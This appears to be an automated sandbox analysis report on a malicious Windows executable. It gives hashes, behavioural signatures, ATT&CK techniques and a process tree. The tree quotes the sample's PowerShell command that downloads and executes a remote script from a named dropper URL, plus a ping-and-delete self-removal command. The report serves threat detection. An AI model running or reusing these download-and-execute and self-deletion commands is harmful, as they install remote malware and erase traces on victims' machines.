e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
16/03/2023, 22:18

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General

Target

e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe
Size

150KB
MD5

f1b7edcb3ceb0d3c7dbbbeecf5656271
SHA1

85d36368a2381f03824954e19b60f001eb25fb62
SHA256

e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5
SHA512

2c47bb87b786df0b562a33481bd1daaed5537c0052c44fd9d02df26bdd99f5d1b4ce6916718f21b2f7845a274691da28127ffd31d9bf1c2228e8b77822710865
SSDEEP

3072:GSFb9MUFNlW8wJT3PM0VqSHDYEvn86NrPvPPhNWBjh0khuYGCClLqsFM8Tt6:4NrPfhNINyGsa8B6

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aszfiltration.com/storage/files/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	1472	powershell.exe
14	1472	powershell.exe

Deletes itself 1 IoCs

pid	Process
672	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1248	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1472	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1472	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 1940	1936	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	28
PID 1936 wrote to memory of 1940	1936	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	28
PID 1936 wrote to memory of 1940	1936	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	28
PID 1936 wrote to memory of 1940	1936	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	28
PID 1940 wrote to memory of 1472	1940	cmd.exe	30
PID 1940 wrote to memory of 1472	1940	cmd.exe	30
PID 1940 wrote to memory of 1472	1940	cmd.exe	30
PID 1936 wrote to memory of 672	1936	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	34
PID 1936 wrote to memory of 672	1936	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	34
PID 1936 wrote to memory of 672	1936	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	34
PID 1936 wrote to memory of 672	1936	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	34
PID 672 wrote to memory of 1248	672	cmd.exe	36
PID 672 wrote to memory of 1248	672	cmd.exe	36
PID 672 wrote to memory of 1248	672	cmd.exe	36
PID 672 wrote to memory of 1248	672	cmd.exe	36

C:\Users\Admin\AppData\Local\Temp\e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe
"C:\Users\Admin\AppData\Local\Temp\e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1472
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe" >> NUL
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:672
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1248

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1472-58-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/1472-59-0x00000000023F0000-0x00000000023F8000-memory.dmp

Filesize
32KB

Download
memory/1472-60-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/1472-61-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/1472-62-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/1472-63-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download